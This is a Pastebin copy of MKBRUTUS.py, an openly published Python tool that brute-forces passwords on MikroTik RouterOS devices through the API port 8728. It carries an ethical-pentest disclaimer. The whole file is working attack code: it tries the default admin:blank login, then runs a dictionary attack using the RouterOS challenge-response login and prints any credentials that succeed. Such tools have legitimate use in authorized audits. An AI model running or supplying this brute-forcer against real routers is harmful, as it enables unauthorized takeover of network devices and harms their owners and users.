Advertisement
Guest User

Untitled

a guest
Apr 12th, 2018
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.87 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. #=======================================================================================================================
  5. #
  6. # MKBRUTUS.py v1.0.2 - Password bruteforcer for MikroTik devices or boxes running RouterOS
  7. #
  8. # AUTHORS:
  9. # Ramiro Caire - email: ramiro.caire@gmail.com / Twitter: @rcaire
  10. # Federico Massa - email: fgmassa@vanguardsec.com / Twitter: @fgmassa
  11. #
  12. # WEB SITE:
  13. # http://mkbrutusproject.github.io/MKBRUTUS/
  14. # https://github.com/mkbrutusproject/mkbrutus
  15. #
  16. # SUMMARY:
  17. # Some boxes running Mikrotik RouterOS (3.x or newer) have the API port enabled (by default, in the port 8728/TCP)
  18. # for administrative purposes instead SSH, Winbox or HTTPS (or have all of them). This is (another) attack vector as it
  19. # might be possible to perform a bruteforce to obtain valid credentials if no protection is available on that port.
  20. # As the API uses a specific privative protocol, some code published by the vendor was included.
  21. # Python 3.x is required in order to run this tool.
  22. #
  23. # DISCLAIMER:
  24. # This tool is intended only for testing Mikrotik devices security in ethical pentest or audits process.
  25. # The authors are not responsible for any damages you use this tool.
  26. #
  27. # MKBRUTUS is free software: you can redistribute it and/or modify
  28. # it under the terms of the GNU Affero General Public License as published by
  29. # the Free Software Foundation, either version 3 of the License, or
  30. # (at your option) any later version.
  31. #
  32. # MKBRUTUS is distributed in the hope that it will be useful,
  33. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  34. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  35. # GNU General Affero Public License for more details.
  36. #
  37. # You should have received a copy of the GNU Affero General Public License
  38. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  39. #=======================================================================================================================
  40.  
  41. #Check for Python3
  42. import sys
  43. if sys.version_info < (3, 0):
  44. sys.stdout.write("Sorry, Python 3.x is required to run this tool\n")
  45. sys.exit(2)
  46.  
  47. import binascii
  48. import getopt
  49. import hashlib
  50. import select
  51. import socket
  52. import time
  53. import signal
  54. import codecs
  55.  
  56.  
  57. banner=(''' _ _ _ _ _____ ____ _ _ ____ _ _ _____
  58. | \/ || | / /| ___ \ ___ \ | | |_ _| | | / ___|
  59. | . . || |/ / | |_/ / |_/ / | | | | | | | | \ `--.
  60. | |\/| || \ | ___ \ /| | | | | | | | | |`--. \\
  61. | | | || |\ \| |_/ / |\ \| |_| | | | | |_| /\__/ /
  62. \_| |_/\_| \_/\____/\_| \_|\___/ \_/ \___/\____/
  63.  
  64. Mikrotik RouterOS Bruteforce Tool 1.0.2
  65. Ramiro Caire (@rcaire) & Federico Massa (@fgmassa)
  66. http://mkbrutusproject.github.io/MKBRUTUS
  67. ''')
  68.  
  69. def usage():
  70. print('''
  71. NAME
  72. \t MKBRUTUS.py - Password bruteforcer for MikroTik devices or boxes running RouterOS\n
  73. USAGE
  74. \t python mkbrutus.py [-t] [-p] [-u] [-d] [-s] [-q]\n
  75. OPTIONS
  76. \t -t, --target \t\t RouterOS target
  77. \t -p, --port \t\t RouterOS port (default 8728)
  78. \t -u, --user \t\t User name (default admin)
  79. \t -h, --help \t\t This help
  80. \t -d, --dictionary \t Password dictionary
  81. \t -s, --seconds \t\t Delay seconds between retry attempts (default 1)
  82. \t -q, --quiet \t\t Quiet mode
  83. ''')
  84.  
  85.  
  86. def error(err):
  87. print(err)
  88. print("Try 'mkbrutus.py -h' or 'mkbrutus.py --help' for more information.")
  89.  
  90.  
  91. def signal_handler(signal, frame):
  92. print(" Aborted by user. Exiting... ")
  93. sys.exit(2)
  94.  
  95.  
  96. class ApiRos:
  97. '''Modified class from official RouterOS API'''
  98. def __init__(self, sk):
  99. self.sk = sk
  100. self.currenttag = 0
  101.  
  102. def login(self, username, pwd):
  103. for repl, attrs in self.talk(["/login"]):
  104. chal = binascii.unhexlify((attrs['=ret']).encode('UTF-8'))
  105. md = hashlib.md5()
  106. md.update(b'\x00')
  107. md.update(pwd.encode('UTF-8'))
  108. md.update(chal)
  109. output = self.talk(["/login", "=name=" + username, "=response=00" + binascii.hexlify(md.digest()).decode('UTF-8')])
  110. return output
  111.  
  112. def talk(self, words):
  113. if self.writeSentence(words) == 0: return
  114. r = []
  115. while 1:
  116. i = self.readSentence();
  117. if len(i) == 0: continue
  118. reply = i[0]
  119. attrs = {}
  120. for w in i[1:]:
  121. j = w.find('=', 1)
  122. if (j == -1):
  123. attrs[w] = ''
  124. else:
  125. attrs[w[:j]] = w[j+1:]
  126. r.append((reply, attrs))
  127. if reply == '!done': return r
  128.  
  129. def writeSentence(self, words):
  130. ret = 0
  131. for w in words:
  132. self.writeWord(w)
  133. ret += 1
  134. self.writeWord('')
  135. return ret
  136.  
  137. def readSentence(self):
  138. r = []
  139. while 1:
  140. w = self.readWord()
  141. if w == '': return r
  142. r.append(w)
  143.  
  144. def writeWord(self, w):
  145. self.writeLen(len(w))
  146. self.writeStr(w)
  147.  
  148. def readWord(self):
  149. ret = self.readStr(self.readLen())
  150. return ret
  151.  
  152. def writeLen(self, l):
  153. if l < 0x80:
  154. self.writeStr(chr(l))
  155. elif l < 0x4000:
  156. l |= 0x8000
  157. self.writeStr(chr((l >> 8) & 0xFF))
  158. self.writeStr(chr(l & 0xFF))
  159. elif l < 0x200000:
  160. l |= 0xC00000
  161. self.writeStr(chr((l >> 16) & 0xFF))
  162. self.writeStr(chr((l >> 8) & 0xFF))
  163. self.writeStr(chr(l & 0xFF))
  164. elif l < 0x10000000:
  165. l |= 0xE0000000
  166. self.writeStr(chr((l >> 24) & 0xFF))
  167. self.writeStr(chr((l >> 16) & 0xFF))
  168. self.writeStr(chr((l >> 8) & 0xFF))
  169. self.writeStr(chr(l & 0xFF))
  170. else:
  171. self.writeStr(chr(0xF0))
  172. self.writeStr(chr((l >> 24) & 0xFF))
  173. self.writeStr(chr((l >> 16) & 0xFF))
  174. self.writeStr(chr((l >> 8) & 0xFF))
  175. self.writeStr(chr(l & 0xFF))
  176.  
  177. def readLen(self):
  178. c = ord(self.readStr(1))
  179. if (c & 0x80) == 0x00:
  180. pass
  181. elif (c & 0xC0) == 0x80:
  182. c &= ~0xC0
  183. c <<= 8
  184. c += ord(self.readStr(1))
  185. elif (c & 0xE0) == 0xC0:
  186. c &= ~0xE0
  187. c <<= 8
  188. c += ord(self.readStr(1))
  189. c <<= 8
  190. c += ord(self.readStr(1))
  191. elif (c & 0xF0) == 0xE0:
  192. c &= ~0xF0
  193. c <<= 8
  194. c += ord(self.readStr(1))
  195. c <<= 8
  196. c += ord(self.readStr(1))
  197. c <<= 8
  198. c += ord(self.readStr(1))
  199. elif (c & 0xF8) == 0xF0:
  200. c = ord(self.readStr(1))
  201. c <<= 8
  202. c += ord(self.readStr(1))
  203. c <<= 8
  204. c += ord(self.readStr(1))
  205. c <<= 8
  206. c += ord(self.readStr(1))
  207. return c
  208.  
  209. def writeStr(self, str):
  210. n = 0
  211. while n < len(str):
  212. r = self.sk.send(bytes(str[n:].encode('utf-8')))
  213. if r == 0: raise RuntimeError("Connection closed by remote end")
  214. n += r
  215.  
  216. def readStr(self, length):
  217. ret = ''
  218. while len(ret) < length:
  219. s = self.sk.recv(length - len(ret))
  220. if s == '': raise RuntimeError("Connection closed by remote end")
  221. ret += s.decode('UTF-8', 'replace')
  222. return ret
  223.  
  224. def run(pwd_num):
  225. run_time = "%.1f" % (time.time() - t)
  226. status = "Elapsed Time: %s sec | Passwords Tried: %s" % (run_time, pwd_num)
  227. bar = "_"*len(status)
  228. print(bar)
  229. print(status + "\n")
  230.  
  231. def main():
  232. print(banner)
  233. try:
  234. opts, args = getopt.getopt(sys.argv[1:], "ht:p:u:d:s:q", ["help", "target=", "port=", "user=", "dictionary=", "seconds=", "quiet"])
  235. except getopt.GetoptError as err:
  236. error(err)
  237. sys.exit(2)
  238.  
  239. if not opts:
  240. error("ERROR: You must specify at least a Target and a Dictionary")
  241. sys.exit(2)
  242.  
  243. target = None
  244. port = None
  245. user = None
  246. dictionary = None
  247. quietmode = False
  248. seconds = None
  249.  
  250. for opt, arg in opts:
  251. if opt in ("-h", "--help"):
  252. usage()
  253. sys.exit(0)
  254. elif opt in ("-t", "--target"):
  255. target = arg
  256. elif opt in ("-p", "--port"):
  257. port = arg
  258. elif opt in ("-u", "--user"):
  259. user = arg
  260. elif opt in ("-d", "--dictionary"):
  261. dictionary = arg
  262. elif opt in ("-s", "--seconds"):
  263. seconds = arg
  264. elif opt in ("-q", "--quiet"):
  265. quietmode = True
  266. else:
  267. assert False, "error"
  268. sys.exit(2)
  269.  
  270. if not target:
  271. error("ERROR: You must specify a Target")
  272. sys.exit(2)
  273. if not dictionary:
  274. error("ERROR: You must specify a Dictionary")
  275. sys.exit(2)
  276. if not port:
  277. port = 8728
  278. if not user:
  279. user = 'admin'
  280. if not seconds:
  281. seconds = 1
  282.  
  283. print("[*] Starting bruteforce attack...")
  284. print("-" * 33)
  285.  
  286. # Catch KeyboardInterrupt
  287. signal.signal(signal.SIGINT, signal_handler)
  288.  
  289. # Looking for default RouterOS creds
  290. defcredcheck = True
  291.  
  292. # Get the number of lines in file
  293. count = 0
  294. dictFile = codecs.open(dictionary,'rb', encoding='utf-8', errors='ignore')
  295. while 1:
  296. buffer = dictFile.read(8192*1024)
  297. if not buffer: break
  298. count += buffer.count('\n')
  299. dictFile.seek(0)
  300.  
  301. items = 1
  302. for password in dictFile.readlines():
  303. password = password.strip('\n\r ')
  304. s = None
  305. for res in socket.getaddrinfo(target, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
  306. af, socktype, proto, canonname, sa = res
  307. try:
  308. s = socket.socket(af, socktype, proto)
  309. # Timeout threshold = 5 secs
  310. s.settimeout(5)
  311. except (socket.error):
  312. s = None
  313. continue
  314. try:
  315. s.connect(sa)
  316. except (socket.timeout):
  317. print("[-] Target timed out! Exiting...")
  318. s.close()
  319. sys.exit(1)
  320. except (socket.error):
  321. print("[-] SOCKET ERROR! Check Target (IP or PORT parameters). Exiting...")
  322. s.close()
  323. sys.exit(1)
  324. dictFile.close( )
  325. apiros = ApiRos(s)
  326.  
  327. # First of all, we'll try with RouterOS default credentials ("admin":"")
  328. while defcredcheck:
  329. defaultcreds = apiros.login("admin", "")
  330. login = ''.join(defaultcreds[0][0])
  331.  
  332. print("[-] Trying with default credentials on RouterOS...")
  333. print()
  334.  
  335. if login == "!done":
  336. print ("[+] Login successful!!! Default RouterOS credentials were not changed. Log in with admin:<BLANK>")
  337. sys.exit(0)
  338. else:
  339. print("[-] Default RouterOS credentials were unsuccessful, trying with " + str(count) + " passwords in list...")
  340. print("")
  341. defcredcheck = False
  342. time.sleep(1)
  343.  
  344. loginoutput = apiros.login(user, password)
  345. login = ''.join(loginoutput[0][0])
  346.  
  347. if not quietmode:
  348. print("[-] Trying " + str(items) + " of " + str(count) + " Paswords - Current: " + password)
  349.  
  350. if login == "!done":
  351. print("[+] Login successful!!! User: " + user + " Password: " + password)
  352. run(items)
  353. return
  354. items +=1
  355. time.sleep(int(seconds))
  356.  
  357. print("[*] ATTACK FINISHED! No suitable credentials were found. Try again with a different wordlist.")
  358. run(count)
  359.  
  360.  
  361. if __name__ == '__main__':
  362. t = time.time()
  363. main()
  364. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement